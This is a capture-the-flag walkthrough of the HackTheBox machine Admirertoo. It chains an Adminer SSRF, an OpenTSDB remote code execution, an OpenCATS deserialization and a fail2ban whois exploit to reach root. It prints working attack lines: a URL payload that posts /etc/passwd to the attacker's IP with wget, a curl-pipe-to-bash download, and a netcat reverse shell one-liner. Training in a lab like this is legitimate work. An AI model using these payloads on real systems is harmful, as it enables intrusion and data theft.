# HackTheBox-Admirertoo
## NMAP
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 99:33:47:e6:5f:1f:2e:fd:45:a4:ee:6b:78:fb:c0:e4 (RSA)
| 256 4b:28:53:64:92:57:84:77:5f:8d:bf:af:d5:22:e1:10 (ECDSA)
|_ 256 71:ee:8e:e5:98:ab:08:43:3b:86:29:57:23:26:e9:10 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Admirer
4242/tcp filtered vrml-multi-use
16010/tcp filtered unknown
16030/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
## PORT 80 (HTTP)
On the web serve we can see a default tempalate which is used
Running `gobuster` to fuzz for files , it didn't showed anything interesting
We can see a chat bubble on the page but it doesn't really make any requests
Making an invalid request will show a 404 page error but it will also reveal a domain name
Using this we can try to enumerate subdomains using `wfuzz` ,so add `admirer-gallery.htb` into `/etc/hosts` file
```bash
wfuzz -c -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u 'http://admirer-gallery.htb' -H "Host: FUZZ.admirer-gallery.htb" --hl 268
```
Checking the source of the page we can see that the password is already in the hidden parameter
Logging in , it shows that this user doesn't have permissions so we can only see what's in the database and there wasn't anything interesting there
We only see the gallery table which had just the pictures that we saw on the adminer gallery page
So looking for exploits regarding `adminer 4.7.8` , it lead to a SSRF vulnerability
https://github.com/advisories/GHSA-x5r2-hj5c-8jx6
Let's try to replicate it , from the document it also has given the script which was used in the poc
So I intercepted the login request ,and tried the adminer drivers one by one to see on which one we'll get a request
https://github.com/vrana/adminer/tree/master/adminer/drivers
change the driver to `elastic` and change `server` to our IP and got a callback
And if we go back to login page we'll see that the adminer galley source code gets reflected on the db page
If we look at our scan we saw few filtered ports
Making a request to port 4242 will show us a different response
From the respone we see that on port 4242 ,OpenTSDB is being used and looking up on google it does have a remote code execution through a GET parameter
I copied the payload from here
https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/cves/2020/CVE-2020-35476.yaml
And change `m` paramter to `http.stats.web.hits`
```bash
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.web.hits&o=&ylabel=&xrange=10:10&yrange=%5B33:system('wget%20--post-file%20/etc/passwd%20http://10.10.14.71/:2222/')%5D&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
```
Through this payload I am just checking if I can read `/etc/passwd` file, running this with the same python file
Looking at our netcat listener we'll see that we have sent `/etc/passwd `file on our port 2222, to get a shell I tried running the reverse shell command directory with in the `system` arugment but it wasn't being executed so used `curl` to download this script shell having a netcat reverse shell and pipe it to bash to execute it
```bash
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.71 2222 >/tmp/f
```
```bash
sudo python2 exploit.py -p 80 "http://10.10.11.137:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.web.hits&o=&ylabel=&xrange=10:10&yrange=%5B33:system('curl%20http://10.10.14.71:4444/shell.sh%7Cbash')%5D&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
```
Stabilizing the shell with python3
I tried to run `sudo -l` to see if I can run anything as another user but it failed
If we go into adminer's directory , there's a file named `servers.php` which has credentials to database
Using this password for jennifer account , we'll be able to switch to that account
Checked for SUID binaries but there wasn't any custom binary or some binary which isn't to be SUID only the default ones were shown, looking at local ports we can see port 8080 which is open
Making a request to that port will tell that's using a software known as OpenCATS
So we need to do port forwarding so that we can access this through our browser
```bash
ssh -L 3333:127.0.0.1:8080 jennifer@10.10.11.137
```
Here `-L` tells to do local port forwarding , the first port that we are specfying is the port that will have the fort fowarded connection from the target machine's port, after that we'll specifiy localhost address so because we want to forward a port from the target machine and then we'll specify from which port we want to have the traffic forwarded which wil be port 8080 on which opencats is running
Visting the port on the browser will show us the login page for opencats
Also looking for database credentials we find credentials for database that opencats is using in `/opt/opencats/config.php`
Selecting the `users` table we can see two users out of which we already have jennifer's password but we can change admin's password by updating the password hash
So first generate a md5 hash of any text that you want to set password for admin user
Now update the password value for admin user in the table
```sql
UPDATE user SET password = '1bc29b36f623ba82aaf6724fd3b16718'
WHERE user_id=1;
```
And now we can login as admin user as we have changed his password from the database
Now this version of opencats was vulnerable to php deserialization attack
https://snoopysecurity.github.io/web-application-security/2021/01/16/09_opencats_php_object_injection.html
But issue is we don't know what should be our payload as we have port forwarded this and it's not running in /var/www/html and we don't know as which user this site is running as , looking in `/opt/opencats` we saw a file which is owned by group `devel`
And this user isn't allowed to login
So could be that it's running as devel user and we need to see which folder is owned by this group so we can write a file to it
Also in `/etc` there's a folder named `fail2ban` that is running on ssh , looking at the configuration for that we can see it blocks the IP for 1 minute if there's a failure for root user
There's an RCE in fail2ban service so we can abuse that by writing `whois.conf` file in`/usr/local/etc` through opencats php deserialization
https://github.com/fail2ban/fail2ban/security/advisories/GHSA-m985-3f3v-cwmm
First creating whois.conf file on our local machine with our IP address
Running `phpggc` to generate a serialized object
From opencats activites, clicking and clicking any column name to intercept the request
Replacing the serliaized object in `ActivityDataGrid`
With this we are able to create a whois.conf fifle but it isn't in the correct format
And if we do `whois IP` it's going to give an error
The reason is because whois.conf works having regex pattern entries
https://github.com/rfc1036/whois/blob/next/whois.conf
So we have to make a regex pattern out of this file we get having
```
[{"Expires":1,"Discard":false,"Value":"10.10.16.24\n"}]
```
We need to add `}]` which will make this string
```
[{"Expires":1,"Discard":false,"Value":"}]
```
In regex `[]` these brackets are considered to match everything
```
}] IP
```
Now we need to make the IP in a regex pattern followed by a OR operator for comparing two regex patterns
```
}]| [IP]
````
Now when we run `whois IP` we'll get a response on port 43 (which is a port used by whois)
Following the fail2ban rce, we need to create a file which will respond to the request for whois on port `43` having our reverse shell starting with `~|` because that will cause commands to be executed
We need to listen on this port while serving this file in response
I had trouble with running this command with `nc` so had to install `ncat` don't know what's the major difference but with ncat it was working
Listening on the port where we will get a connection back from the reverse shell
And lastly trigerring fail2ban by logging in with root user with multiple failed attemps which will cause whois to run on our IP that will respond on the request on port 43 with the reverse shell and executing it
## References
- https://github.com/advisories/GHSA-x5r2-hj5c-8jx6
- https://github.com/vrana/adminer/tree/master/adminer/drivers
- https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/cves/2020/CVE-2020-35476.yaml
- https://github.com/EdgeSecurityTeam/Vulnerability/blob/main/CVE-2020-35476%20OpenTSDB%202.4.0%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C.md
- https://www.w3schools.com/sql/sql_update.asp
- https://snoopysecurity.github.io/web-application-security/2021/01/16/09_opencats_php_object_injection.html
- https://github.com/rfc1036/whois/blob/next/whois.conf
- https://research.securitum.com/fail2ban-remote-code-execution/
- https://github.com/fail2ban/fail2ban/security/advisories/GHSA-m985-3f3v-cwmm